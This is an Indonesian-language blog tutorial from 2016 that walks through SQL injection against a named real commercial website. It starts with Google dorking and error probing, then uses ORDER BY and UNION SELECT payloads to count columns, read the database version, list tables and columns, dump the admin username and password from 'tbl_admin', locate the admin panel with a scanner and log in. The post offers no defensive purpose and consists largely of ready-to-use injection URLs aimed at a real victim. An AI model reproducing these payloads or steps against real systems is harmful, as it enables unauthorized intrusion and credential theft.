Rabu, 10 Agustus 2016

CARA KERJA SQL INJECTION | Konfigurasi lengkap SQL



Konfigurasi Lengkap SQL Injection

SQL injection adalah kode injeksi teknik yang mengeksploitasi kerentanan keamanan yang terjadi di lapisan database dari aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar karakter string literal tertanam melarikan diri dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan. Ini adalah sebuah instance dari kelas yang lebih umum kerentanan yang dapat terjadi kapan pun salah satu bahasa pemrograman atau scripting tertanam dalam lainnya. Serangan injeksi SQL juga dikenal sebagai serangan penyisipan SQL.Dengan kata sederhana saya harus mengatakan hacker yang menyuntikkan karakter tertentu di daerah otentikasi admin dan akses keuntungan sebagai admin.

Bagaimana cara mengetahui web yang terkenal celah SQLI?
Hal yang pertama harus di ketahui oleh attacker untuk mengetahui apakah suatu situs terkena celah SQL Injection atau tidak adalah dengan cara membuat suatu error pada URL tersebut,dengan cara menambah karakter (') [tanpa tanda kurung setelah angka/id pada situs tersebut

Berikut adalah contoh url yg memungkinkan terkena celah SQL Injection
http://situstarget.com/berita.php?id=23 --> web terlihat normal
lalu kita sisipkan karakter ' untuk mengetahui situs tersebut error atau tidak, seperti dibawah ini
http://situstarget.com/berita.php?id=23' -->web terlihat error



Bagaimana cara mencari target suatu web untuk di eksekusi?
Gampang saja,kalo untuk mecari web yang terkena celah SQL Injection adalah dengan cara dorking di google
Apa itu dorking? dorking adalah suatu cara attacker untuk mencari struktur pada sebuah situs seperti mencari direktori/file/script dan lain lain
Pertama-pertama kita mencari target dengan teknik dorking  seperti dibawah ini




 

Nah seperti contioh diatas saya menemukan web yang memungkinkan memiliki celah SQL Injection,yup langsung aja kita test url tersebut dengan memberikan karakter (') pada id url agar kita bisa mengetahui web tersebut bisa di SQL Injection atau tidak

http://morningkiss.com.my/product_detail.php?id=116

 


Contoh gambar diatas adalah pada saat kondisi web masih normal dan belum kita berikan karakter (') pada id url,sekarang kita coba tambahkan karakter (') pada id url menjadi :
http://morningkiss.com.my/product_detail.php?id=116'



Seperti kita lihat pada gambar diatas setelah kita berikan karakter (') pada url id maka terdapat error pada isi web tersebut "Fatal error: Call to a member function Recordcount() on a non-object in /home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60" jika begitu berarti web tersebut terkena celah SQL Injection.
NP : untuk error pada website bisa berbeda - beda pesan teksnya tidak selalu seperti contoh diatas
Berikut contoh-contoh error pada web yang terkena celah SQL Injection
-You have an error in your SQL syntax;
-Warning: mysql_fetch_array()
-Warning: mysql_num_rows()
-dan masih banyak lagi

Oke lanjut,sekarang kita coba untuk mengetahui isi database web tersebut menggunakan perintah-perintah Query

Untuk mengetahui isi database web tersebut,pertama kita harus mencoba temukan ada berapa column database tersebut dengan cara memberikan perintah "order by 1--+-" pada akhir url id menjadi :
Untuk lebih jelasnya seperti dibawah ini



Nah ketika kita coba tambahkan perintah tersebut,web kembali normal tetapi disini kita harus mengetahui ada berapa column database itu,berarti kita harus mencarinya dengan perintah sebelumnya dengan merubah perintah "order by 1--+-" menjadi "order by 2--+-" dan jika kita sudah mengubahnya dengan "order by 2 --+-" kondisi web masih normal kita coba terus dengan menambahkan angka tersebut terus menerus sampai mendapatkan suatu error seperti gambar dibawah ini




Dan kita menemukan error pada "order by 9 --+-" atau jika di tulis di url
berarti kita mengetahuinya,column database tersebut terdapat 8 column,loh kok kenapa 8 column? sedangkan di website errornya sampai di order 9? oke saya jelaskan disini. Kenapa 8 column? kerena setelah kita coba dengan perintah order by 1,2,3,4,5,6,7 sampai 8 tidak terdapat error dan yang terjadi error pada order by 9,secara logika berarti web tersebut tidak ada database di column ke 9 dan hanya ada sampai column ke 8. ya seperti itulah kurang lebih jelasnya


setelah kita mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi column pada laman web tersebut di antara 8 column itu dengan perintah "union select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan karakter (-) urlnya menjadi :



Setekah di coba ternyata muncul angka - angka ajaib hehe,disana kita lihat terdapat angka 2 dan 6 yang sebelumnya tidak ada pernah ada angka tersebut,karna dari itu disebut angka ajaib

pertanyaannya untuk apa angka ajaib itu? oke saya jelaskan,kan sebelumnya kita mau mencari letak isi column laman pada web tersebut diantara 1-8 column,nah itu dia angka ajaib itu adalah letak column isi lama pada web tersebut,di column 2 atau 6 itu sama saja

Oke ketika kita sudah mengetahui letak columnya,kita bisa melihat apa saja yang kita perlukan melalui perintah-perintah query seperti melihat versi database,nama column database,dan lain-lain

Sebelum kita melanjutkannya kita harus tau version database tersebut,karna jika version database web tersebut adalah version 4.xx.xx.xx itu agak ribet melakukan perintah2 SQL Injectionnya karna untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya. Tetapi jika kita menemukan version 5.xx.xx.xx berarti kita bisa melanjutkan eksekusi SQL Injection ini

Yup,untuk melihat version database kita menggunakan perintah "@@version" pada angka ajaib tersebut dengan cara mengubah angka 2 (angka 2 atau 6 sama saja,tapi disini saya menggunakan angka 2) menjadi "@@version" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,@@version,3,4,5,6,7,8--+-



Dan ternyata version databasenya 5.1.73 berarti kita bisa melanjutkannya hehe
NP:Tapi biasanya rata2 semua web sudah menggunakan version databse 5 keatas,jadi jarang version 4 kebawah

Lalu setelah sudah mengetahui version,sekarang yang kita lakukan adalah melihat isi nama - nama database tersebut,tujuan melihat isi database bermacem macem seperti kita ingin melihat user dan password admin atau data-data penting lainnya jadi celah SQL Injection ini cukup berbahaya juga

Oke lanjut,cara untuk melihat isi nama-nama database kita menggunakan perintah "group_concat(table_name)" dan lalu di akhir url sebelum karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+-
 




Dan alhasil kita lihat,kita mendapatkan isi-isi database web tersebut :D sekarang kita coba mencari user admin pada web tersebut,biasanya isi database user admin begitu namanya admin,useradmin,loginadmin,useradmin,atau yang lainnya yang bergantungan dengan admin,nah disini kita bisa melihat kita sepertinya menemukan table database admin yaitu dengan "tbl_admin" ya udah kalo begitu kita coba bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah sebelumnya,jadi perintah "group_concat(table_name)" di ubah menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema=" menjadi "from+information_schema.columns+where+table_name=" lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk mengubah teks "tbl_admin" menjadi Decimal kita bisa menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang bernama HackBar atau kalian bisa download dan install di sini
NP: jika tidak muncul HackBarnya pada saat sudah selesai install kalian bisa memunculkan hanya tinggal klik kanan pada menu firefox lalu pilih HackBar

Dan untuk cara penggunaanya cukup mudah hanya tinggal pilih SQL > MySQL > MySQL CHAR() setelah itu masukan teks yang ingin di ubah ke Decimal contoh kasus disini ialah "tbl _admin" dan alhasil kita dapatkan hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)" setelah itu kita masukan ke perintah SQL Injection

Nah setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk melihat isi table tbl_admin tersebut, jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-


Dan ternyata pada saat kita gunakan perintah tersebut kita bisa melihat disana ada column database untuk username admin dan password admin,ya sudah langsung saja kita bongkar dengan sedikit lagi mengubah perintah sebelumnya yaitu "group_concat(column_name)" dengan "group_concat(admin_username,0x3a,admin_password)" dan "+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-"

NP:perintah yang terdapat di antara admin_username dan admin_password adalah perintah untuk memisahkan/pembatas kerakter (:) agar username dan password tidak berantakan ketika kita lihat jadi bisa kita gunakan permisah dengan perintah 0x3a

dan urlnya sekarang menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+-

Dan kita mendapatkan username dan password admin
Lalu langkah terakhir tinggal mencari tempat admin loginnya biasanya sih di /admin atau /administrators tapi jika kalian coba lalu tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk mengecek security web mereka
tapi bisa juga kita gunakan untuk mencari admin login  cara menggunakannya cukup mudah hanya dengan memasukan web yg ingin kita scan di kolom scan pada software tersebut lalu software tersebut akan secara otomatis memberikan informasi kepada kita direktori pada web tersebut  untuk lebih jelasnya lihat gambar dibawah ini :



dan kita lihat disana saya mencoba scan web http://morningkiss.com.my dan ternyata admin loginnya terdapat pada dir adminCP,ketika agan sekalian sudah tau dir admin dan username password admin tinggal tunggu apalagi coba kita login

Dan hasil kita bisa login.
 





2 komentar: